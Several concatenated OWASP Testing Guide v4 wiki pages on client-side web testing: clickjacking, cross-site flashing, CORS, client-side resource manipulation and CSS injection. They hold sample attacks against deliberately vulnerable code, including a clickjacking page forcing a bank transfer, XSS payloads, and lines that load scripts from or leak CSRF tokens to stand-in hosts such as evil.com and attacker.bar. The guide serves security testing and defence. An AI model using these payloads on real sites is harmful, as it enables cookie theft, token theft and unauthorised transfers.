{| class="wikitable"
|-
! Browser !! Lowest version
|-
| Internet Explorer || 8.0
|-
| Firefox (Gecko) || 3.6.9 (1.9.2.9)
|-
| Opera || 10.50
|-
| Safari || 4.0
|-
| Chrome || 4.1.249.1042
|}

'''Proxies'''
<br>
Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the "X-FRAME-OPTIONS" header then the site loses its framing protection.

'''Mobile website version'''
<br>
Also in this case, since the "X-FRAME-OPTIONS" has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.

===Create a "proof of concept" ===
Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a "proof of concept" to demonstrate the vulnerability. It is important to note that, as mentioned previously, these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens.
In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.

Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).

[[Image:Clickjacking example step2.png|400px|thumb|center]]

Following a snippet of the code for the step 2:

<pre>
//generate random anti CSRF token
$csrfToken = md5(uniqid(rand(), TRUE));

//set the token as in the session data
$_SESSION['antiCsrf'] = $csrfToken;

//Transfer form with the hidden field
$form = '
<form name="transferForm" action="confirm.php" method="POST">
<div class="box">
<h1>BANK XYZ - Confirm Transfer</h1>
<p>
Do You want to confirm a transfer of <b>'. $_REQUEST['amount'] .' €</b> to account: <b>'. $_REQUEST['account'] .'</b> ?
</p>
<label>
<input type="hidden" name="amount" value="' . $_REQUEST['amount'] . '" />
<input type="hidden" name="account" value="' . $_REQUEST['account'] . '" />
<input type="hidden" name="antiCsrf" value="' . $csrfToken . '" />
<input type="submit" class="button" value="Transfer Money" />
</label>

</div>
</form>';
</pre>

In the last step are planned security controls and then, if is all ok, the transfer is done. Following is presented a snippet of the code of the last step (<b>Note</b>: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):

<pre>
if( (!empty($_SESSION['antiCsrf'])) && (!empty($_POST['antiCsrf'])) )
{

//here we can suppose input sanitization code…

//check the anti-CSRF token
if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )
{
echo '<p> '. $_POST['amount'] .' € successfully transfered to account: '. $_POST['account'] .' </p>';
}

}
else
{
echo '<p>Transfer KO</p>';
}
</pre>

As you can see the code is protected from CSRF attack both with a random token generated in the second step and accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.

The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (<b>Note</b>: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).

The attacker's page may look a simple and harmless web page like the one presented below:

[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]

But playing with the CSS opacity value we can see what is hidden under a seemingly innocuous web page.

[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]

The clickjacking code the create this page is presented below:

<pre>
<html>
<head>
<title>Trusted web page</title>

<style type="text/css"></style>

</head>
<body>
<div id="content">
<h1>www.owasp.com</h1>
<form action="http://www.owasp.com">
<input type="submit" class="button" value="Click and go!">
</form>
</div>

<iframe id="clickjacking" src="http://localhost/csrf/transfer.php?account=ATTACKER&amount=10000" width="500" height="500" scrolling="no" frameborder="none">
</iframe>
</body>
</html>

</pre>

With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button "Click and go!" the form is submitted and the transfer is completed.

[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]

The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.

==Tools==
* Context Information Security: "Clickjacking Tool" - http://www.contextis.com/research/tools/clickjacking-tool/

== References ==
'''OWASP Resources'''
* [[Clickjacking]]

'''Whitepapers'''
* Marcus Niemietz: "UI Redressing: Attacks and Countermeasures Revisited" - http://ui-redressing.mniemietz.de/uiRedressing.pdf
* "Clickjacking" - https://en.wikipedia.org/wiki/Clickjacking
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: "Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites" - http://seclab.stanford.edu/websec/framebusting/framebust.pdf
* Paul Stone: "Next generation clickjacking" - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf

Testing for Cross site flashing (OTG-CLIENT-008)

2014-08-08T13:39:23Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
ActionScript is the language, based on ECMAScript, used by Flash applications when dealing with interactive needs. There are three versions of the ActionScript language. ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a rewrite of the language to support object orientated design.

ActionScript, like every other language, has some implementation patterns which could lead to security issues. In particular, since Flash applications are often embedded in browsers, vulnerabilities like DOM based Cross-Site Scripting (XSS) could be present in flawed Flash applications.

== How to Test ==
Since the first publication of "Testing Flash Applications" [1], new versions of Flash player
were released in order to mitigate some of the attacks which will be described.
Nevertheless, some issues still remain exploitable because they are the result of insecure
programming practices.

=== Decompilation ===
Since SWF files are interpreted by a virtual machine embedded in the player itself,
they can be potentially decompiled and analysed.
The most known and free ActionScript 2.0 decompiler is flare.

To decompile a SWF file with flare just type:

$ flare hello.swf

it will result in a new file called hello.flr.

Decompilation helps testers because it allows for source code assisted, or white-box, testing of the Flash applications. HP's free SWFScan tool can decompile both ActionScript 2.0 and ActionScript 3.0 [https://h30406.www3.hp.com/campaigns/2009/wwcampaign/1-5TUVE/index.php?key=swf SWFScan]

The [http://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project OWASP Flash Security Project] maintains a list of current disassemblers, decompilers and other Adobe Flash related testing tools.

=== Undefined Variables FlashVars ===

FlashVars are the variables that the SWF developer planned on receiving from the web page. FlashVars are typically passed in from the Object or Embed tag within the HTML. For instance:

<pre>
<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
<param name="movie" value="somefilename.swf">
<param name="FlashVars" value="var1=val1&var2=val2">
<embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>
</pre>

FlashVars can also be initialized from the URL:

<pre>
http://www.example.org/somefilename.swf?var1=val1&var2=val2
</pre>

In ActionScript 3.0, a developer must explicitly assign the FlashVar values to local variables. Typically,
this looks like:

<pre>
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
var var1:String = String(paramObj["var1"]);
var var2:String = String(paramObj["var2"]);
</pre>

In ActionScript 2.0, any uninitialized global variable is assumed to be a FlashVar. Global variables are
those variables that are prepended by _root, _global or _level0. This means that if an attribute like:

_root.varname

is undefined throughout the code flow, it could be overwritten by setting

<pre>
http://victim/file.swf?varname=value
</pre>

Regardless of whether you are looking at ActionScript 2.0 or ActionScript 3.0, FlashVars can be a vector of attack. Let's look at some ActionScript 2.0 code that is vulnerable:

Example:
<pre>
movieClip 328 __Packages.Locale {

#initclip
if (!_global.Locale) {
var v1 = function (on_load) {
var v5 = new XML();
var v6 = this;
v5.onLoad = function (success) {
if (success) {
trace('Locale loaded xml');
var v3 = this.xliff.file.body.$trans_unit;
var v2 = 0;
while (v2 < v3.length) {
Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
++v2;
}
on_load();
} else {}
};
if (_root.language != undefined) {
Locale.DEFAULT_LANG = _root.language;
}
v5.load(Locale.DEFAULT_LANG + '/player_' +
Locale.DEFAULT_LANG + '.xml');
};

</pre>

The above code could be attacked by requesting:

<pre>
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
</pre>

=== Unsafe Methods ===
When an entry point is identified, the data it represents could be used by unsafe methods. If the data is not filtered/validated using the right regexp it could lead to some security issue.

Unsafe Methods since version r47 are:
<pre>
loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText
</pre>

=== The Test ===
In order to exploit a vulnerability, the swf file should be hosted on the victim's host, and the techniques of reflected XSS must be used. That is forcing the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through an iframe from an evil page:

<iframe src='http://victim/path/to/file.swf'></iframe>

This is because in this situation the browser will self-generate an HTML page as if it were hosted by the victim host.

=== XSS ===

'''GetURL (AS2) / NavigateToURL (AS3):'''

The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser's window.

So if an undefined variable is used as the first argument for getURL:

getURL(_root.URI,'_targetFrame');

Or if a FlashVar is used as the parameter that is passed to a navigateToURL function:

var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
navigateToURL(request);

Then this will mean it's possible to call JavaScript in the same domain where the movie is hosted by
requesting:
<pre>
http://victim/file.swf?URI=javascript:evilcode

getURL('javascript:evilcode','_self');
</pre>

The same when only some part of getURL is controlled:
<pre>
Dom Injection with Flash JavaScript injection

getUrl('javascript:function('+_root.arg+'))
</pre>

'''asfunction:'''

You can use the special asfunction protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL. Until release Flash Player 9 r48 asfunction could be used on every method which has a URL as an argument. After that release, asfunction was restricted to use within an HTML TextField.

This means that a tester could try to inject:

asfunction:getURL,javascript:evilcode

in every unsafe method like:

loadMovie(_root.URL)

by requesting:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

'''ExternalInterface:'''

ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.

From a security point of view it could be abused when part of its argument could be controlled:

flash.external.ExternalInterface.call(_root.callback);

the attack pattern for this kind of flaw should be something like the following:
eval(evilcode)

since the internal JavaScript which is executed by the browser will be something similar to:

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')

=== HTML Injection ===

TextField Objects can render minimal HTML by setting:

tf.html = true
tf.htmlText = '<tag>text</tag>'

So if some part of text could be controlled by the tester, an A tag or an IMG tag could be injected resulting in modifying the GUI or XSS the browser.

Some attack examples with A Tag:

* Direct XSS: <a href='javascript:alert(123)' >

* Call a function: <a href='asfunction:function,arg' >

* Call SWF public functions:
<a href='asfunction:_root.obj.function, arg'>

* Call native static as function:
<a href='asfunction:System.Security.allowDomain,evilhost' >

IMG tag could be used as well:

<img src='http://evil/evil.swf' >
<img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)

Note: since release Flash Player 9.0.124.0 of Flash player XSS is no longer exploitable, but GUI modification could still
be accomplished.

=== Cross-Site Flashing ===

Cross-Site Flashing (XSF) is a vulnerability which has a similar impact as XSS.

XSF Occurs when from different domains:

* One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it
* XSF could also occurs when an HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling:
** GetVariable: access to flash public and static object from JavaScript as a string.
** SetVariable: set a static or public flash object to a new string value from JavaScript.
* Unexpected Browser to SWF communication could result in stealing data from the SWF application.

It could be performed by forcing a flawed SWF to load an external evil flash file. This attack could result in XSS or in the modification of the GUI in order to fool a user to insert credentials on a fake flash form. XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie* methods are used.

=== Open redirectors ===

SWFs have the capability to navigate the browser. If the SWF takes the destination in as a FlashVar, then the SWF may be used as an open redirector. An open redirector is any piece of website functionality on a trusted website that an attacker can use to redirect the end-user to a malicious website. These are frequently used within phishing attacks. Similar to cross-site scripting, the attack involves a user clicking on a malicious link.

In the Flash case, the malicious URL might look like:

<pre>
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html
</pre>

In the above example, an end-user might see the URL begins with their favorite trusted website and click on it. The link would load the trusted SWF which takes the getURLValue and provides it to an ActionScript browser navigation call:

<pre>
getURL(_root.getURLValue,"_self");
</pre>

This would navigate the browser to the malicious URL provided by the attacker. At this point, the phisher has successfully leveraged the trusted the user has in trusted.example.org to trick the user into their malicious website. From their, they could launch a 0-day, conduct spoofing of the original website, or any other type of attack. SWFs may unintentionally be acting as an open-redirector on the website.

Developers should avoid taking full URLs as FlashVars. If they only plan to navigate within their own website, then they should use relative URLs or verify that the URL begins with a trusted domain and protocol.

=== Attacks and Flash Player Version ===

Since May 2007, three new versions of Flash player were released by Adobe. Every new version restricts some of the attacks previously described.

<pre>
| Attack | asfunction | ExternalInterface | GetURL | Html Injection |
| Player Version |
| v9.0 r47/48 | Yes | Yes | Yes | Yes |
| v9.0 r115 | No | Yes | Yes | Yes |
| v9.0 r124 | No | Yes | Yes | Partially |
</pre>

'''Result Expected:'''<br>

Cross-Site Scripting and Cross-Site Flashing are the expected results on a flawed SWF file.

==Tools==
* Adobe SWF Investigator: http://labs.adobe.com/technologies/swfinvestigator/

* SWFScan: http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167

* SWFIntruder: https://www.owasp.org/index.php/Category:SWFIntruder

* Decompiler – Flare: http://www.nowrap.de/flare.html

* Compiler – MTASC: http://www.mtasc.org/

* Disassembler – Flasm: http://flasm.sourceforge.net/

* Swfmill – Convert Swf to XML and vice versa: http://swfmill.org/

* Debugger Version of Flash Plugin/Player: http://www.adobe.com/support/flash/downloads.html

== References ==
'''OWASP'''<br>
* OWASP Flash Security Project: The OWASP Flash Security project has even more references than what is listed below: http://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project

'''Whitepapers'''<br>
* Testing Flash Applications: A new attack vector for XSS and XSFlashing: http://www.owasp.org/images/8/8c/OWASPAppSec2007Milan_TestingFlashApplications.ppt

* Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCAppSec2007SanJose_FindingVulnsinFlashApps.ppt

* Adobe security updates with Flash Player 9,0,124,0 to reduce cross-site attacks: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html

* Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html

* The Flash Player Development Center Security Section: http://www.adobe.com/devnet/flashplayer/security.html

* The Flash Player 10.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player10_security_wp.html

Test Cross Origin Resource Sharing (OTG-CLIENT-007)

2014-08-08T13:36:39Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

Cross Origin Resource Sharing or CORS is a mechanism that enables a web browser to perform "cross-domain" requests using the XMLHttpRequest L2 API in a controlled manner. In the past, the XMLHttpRequest L1 API only allowed requests to be sent within the same origin as it was restricted by the same origin policy.

Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

== How to Test ==

=== Origin & Access-Control-Allow-Origin ===

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

=== Access-Control-Request-Method & Access-Control-Allow-Method ===

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

=== Access-Control-Request-Headers & Access-Control-Allow-Headers ===

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

=== Access-Control-Allow-Credentials ===

This header as part of a preflight request indicates that the final request can include user credentials.

=== Input validation ===

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLS are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

=== Other headers ===

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

=== Black Box testing ===
Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.<br>

=== Gray Box testing ===

Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:

'''Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:''' <br>
<br>
Request (note the 'Origin' header:)<br>

<pre>
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
</pre>

Response (note the 'Access-Control-Allow-Origin' header:)<br>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml

[Response Body]
</pre>

'''Example 2: Input validation issue, XSS with CORS:'''

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the same server.

Vulnerable code:

<pre>
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
if(req.readyState==4 && req.status==200) {
document.getElementById("div1").innerHTML=req.responseText;
}
}

var resource = location.hash.substring(1);
req.open("GET",resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
</pre>

For example, a request like this will show the contents of the profile.php file:

http://example.foo/main.php#profile.php

Request and response generated by this URL:

<pre>
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html

[Response Body]
</pre>

Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

http://example.foo/main.php#http://attacker.bar/file.php

Request and response generated by this URL:

<pre>
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
</pre>

<pre>
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html

Injected Content from attacker.bar <img src="#" onerror="alert('Domain: '+document.domain)">
</pre>

[[File:CORS-example.png]]
<br><br>
==Tools==
* '''OWASP Zed Attack Proxy (ZAP)''' - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

== References ==
'''OWASP Resources'''
*'''OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

'''Whitepapers'''<br/>
*'''W3C''' - CORS W3C Specification: http://www.w3.org/TR/cors/

Testing for Client Side Resource Manipulation (OTG-CLIENT-006)

2014-08-08T13:35:12Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
A ClientSide Resource Manipulation vulnerability is an input validation flaw that occurs when an application accepts an user controlled input which specifies the path of a resource (for example the source of an iframe, js, applet or the handler of an XMLHttpRequest). Specifically, such a vulnerability consists in the ability to control the URLs which link to some resources present in a web page. The impact may vary on the basis of the type of the element whose URL is controlled by the attacker, and it is usually adopted to conduct Cross-Site Scripting attacks.

== How to Test ==
Such a vulnerability occurs when the application employs user controlled URLs for referencing external/internal resources. In these circumstances it is possible to interfere with the expected application's behavior in the sense of making it load and render malicious objects.

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the attribute "src" of a script element. This particular obviously leads XSS since an external JavaScript could be easily injected in the trusted web site.

<pre>
<script>
var d=document.createElement("script");
if(location.hash.slice(1))
d.src = location.hash.slice(1);
document.body.appendChild(d);
</script>
</pre>

Specifically the attacker could target the victim by asking her to visit the following URL:
www.victim.com/#http://evil.com/js.js

Where js.js contains:

<pre>
alert(document.cookie)
</pre>

Controlling scripts' sources is a basic example, since some other interesting and more subtle cases can take place. A widespread scenario involves the possibility to control the URL called in a CORS request; since CORS allows the target resource to be accessible by the requesting domain through a header based approach, then the attacker may ask the target page to load malicious content loaded on its own web site.

Refer to the following vulnerable code:

<pre>
<b id="p"></b>
<script>
function createCORSRequest(method, url) {
var xhr = new XMLHttpRequest();
xhr.open(method, url, true);
xhr.onreadystatechange = function () {
if (this.status == 200 && this.readyState == 4) {
document.getElementById('p').innerHTML = this.responseText;
}
};
return xhr;
}

var xhr = createCORSRequest('GET', location.hash.slice(1));
xhr.send(null);
</script>
</pre>

The “location.hash” is controlled by the attacker and it is used for requesting an external resource, which will be reflected through the construct “innerHTML”. Basically the attacker could ask the victim to visit the following URL and at the same time he could craft the payload handler.

Exploit URL: www.victim.com/#http://evil.com/html.html

<pre>
http://evil.com/html.html
----
<?php
header('Access-Control-Allow-Origin: http://www.victim.com');
?>
<script>alert(document.cookie);</script>
</pre>

=== Black Box testing ===
Black box testing for Client Side Resource Manipulation is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

=== Gray Box testing ===
'''Testing for Client Side Resource Manipulation vulnerabilities:'''<br>
To manually check for this type of vulnerability we have to identify whether the application employs inputs without correctly validating them; these are under the control of the user which could be able to specify the url of some resources. Since there are many resources that could be included into the application (for example images, video, object, css, frames etc.), client side scripts which handle the associated URLs should be investigated for potential issues.

The following table shows the possible injection points (sink) that should be checked:

{| class="wikitable"
|-
! scope="col"| Resource Type
! scope="col"| Tag/Method
! scope="col"| Sink
|-
| Frame
| iframe
| src
|-
| Link
| a
| href
|-
| AJAX Request
| xhr.open(method, <i>[url]</i>, true);
| URL
|-
| CSS
| link
| href
|-
| Image
| img
| src
|-
| Object
| object
| data
|-
| Script
| script
| src
|}

The most interesting ones are those that allow to an attacker to include client side code (for example JavaScript) since it could lead to an XSS vulnerabilities. <br />

When trying to check for this kind of issues, consider that some characters are treated differently by different browsers.
Moreover always consider the possibility to try absolute URLs variants as described here: http://kotowicz.net/absolute/

==Tools==

* DOMinator - https://dominator.mindedsecurity.com/

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS.com - http://www.domxss.com
* DOMXSS TestCase - http://www.domxss.com/domxss/01_Basics/04_script_src.html

'''Whitepapers'''

* DOM XSS Wiki - https://code.google.com/p/domxsswiki/wiki/LocationSources
* Krzysztof Kotowicz: "Local or External? Weird URL formats on the loose" - http://kotowicz.net/absolute/

Testing for CSS Injection (OTG-CLIENT-005)

2014-08-08T13:34:08Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.

== How to Test ==
Such a vulnerability occurs when the application allows to supply user-generated CSS or it is possible to somehow interfere with the legit stylesheets. Injecting code in the CSS context gives the attacker the possibility to execute JavaScript in certain conditions as well as extracting sensitive values through CSS selectors and functions able to generate HTTP requests. Actually, giving the users the possibility to customize their own personal pages by using custom CSS files results in a considerable risk, and should be definitely avoided.

The following JavaScript code shows a possible vulnerable script in which the attacker is able to control the "location.hash" (source) which reaches the "cssText" function (sink). This particular case may lead to DOMXSS in older browser versions, such as Opera, Internet Explorer and Firefox; for reference see DOM XSS Wiki, section "Style Sinks".

<pre>
<a id="a1">Click me</a>
<script>
if (location.hash.slice(1)) {
document.getElementById("a1").style.cssText = "color: " + location.hash.slice(1);
}
</script>
</pre>

Specifically the attacker could target the victim by asking her to visit the following URLs: <br />
<ul>
<li>www.victim.com/#red;-o-link:'javascript:alert(1)';-o-link-source:current; (Opera [8,12])</li>
<li>www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)</li>
</ul>

The same vulnerability may appear in the case of classical reflected XSS in which for instance the PHP code looks like the following:

<pre>
<style>
p {
color: <?php echo $_GET['color']; ?>;
text-align: center;
}
</style>
</pre>

Much more interesting attack scenarios involve the possibility to extract data through the adoption of pure CSS rules. Such attacks can be conducted through CSS selectors and leading for instance to grab anti-CSRF tokens, as follows. In particular, input[name=csrf_token][value=^a] represents an element with the attribute "name" set "csrf_token" and whose attribute "value" starts with "a". By detecting the length of the attribute "value", it is possible to carry out a brute force attack against it and send its value to the attacker's domain.

<pre>
<style>
input[name=csrf_token][value=^a] {
background-image: url(http://attacker/log?a);
}
</style>
</pre>

Much more modern attacks involving a combination of SVG, CSS and HTML5 have been proven feasible, therefore we recommend to see the References section for details.

=== Black Box testing ===
We are referring to client-side testing, therefore black box testing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed. However, it may happen that the user is given a certain degree of freedom in terms of possibilities to supply HTML code; in that case it is required to test whether no CSS injections are possible: tags like "link" and "style" should be disallowed, as well as attributes "style".

=== Gray Box testing ===
'''Testing for CSS Injection vulnerabilities:'''<br>
Manual testing needs to be conducted and the JavaScript code analyzed in order to understand whether the attackers can inject its own content in CSS context. In particular we should be interested in how the website returns CSS rules on the basis of the inputs.

The following is a basic example:

<pre>
<a id="a1">Click me</a>
<b>Hi</b>
<script>
$("a").click(function(){
$("b").attr("style","color: " + location.hash.slice(1));
});
</script>
</pre>

The above code contains a source "location.hash" that is controlled by the attacker that can inject directly in the attribute "style" of an HTML element. As mentioned above, this may lead to different results on the basis of the adopted browser and the supplied payload.

It is recommended that testers use the jQuery function css(property, value) in such circumstances as follows, since this would disallow any damaging injections. In general, we recommend to use always a whitelist of allowed characters any time the input is reflected in the CSS context.

<pre>
<a id="a1">Click me</a>
<b>Hi</b>
<script>
$("a").click(function(){
$("b").css("color",location.hash.slice(1));
});
</script>
</pre>

== References ==
'''OWASP Resources'''
* [[DOM based XSS Prevention Cheat Sheet]]
* DOMXSS Wiki - https://code.google.com/p/domxsswiki/wiki/CssText

'''Presentations'''<br>
* DOM Xss Identification and Exploitation, Stefano Di Paola - http://dominator.googlecode.com/files/DOMXss_Identification_and_exploitation.pdf
* Got Your Nose! How To Steal Your Precious Data Without Using Scripts, Mario Heiderich - http://www.youtube.com/watch?v=FIQvAaZj_HA
* Bypassing Content-Security-Policy, Alex Kouzemtchenko - http://ruxcon.org.au/assets/slides/CSP-kuza55.pptx

'''Proof of Concepts'''<br>
* Password "cracker" via CSS and HTML5 - http://html5sec.org/invalid/?length=25
* CSS attribute reading - http://eaea.sirdarckcat.net/cssar/v2/

Testing for Client Side URL Redirect (OTG-CLIENT-004)

2014-08-08T13:29:34Z

Andrew Muller:

{{Template:OWASP Testing Guide v4}}

== Summary ==
This section describes how to check for Client Side URL Redirection, also known as Open Redirection. It is an input validation flaw that exists when an application accepts an user controlled input which specifies a link that leads to an external URL that could be malicious. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page.

== How to Test ==
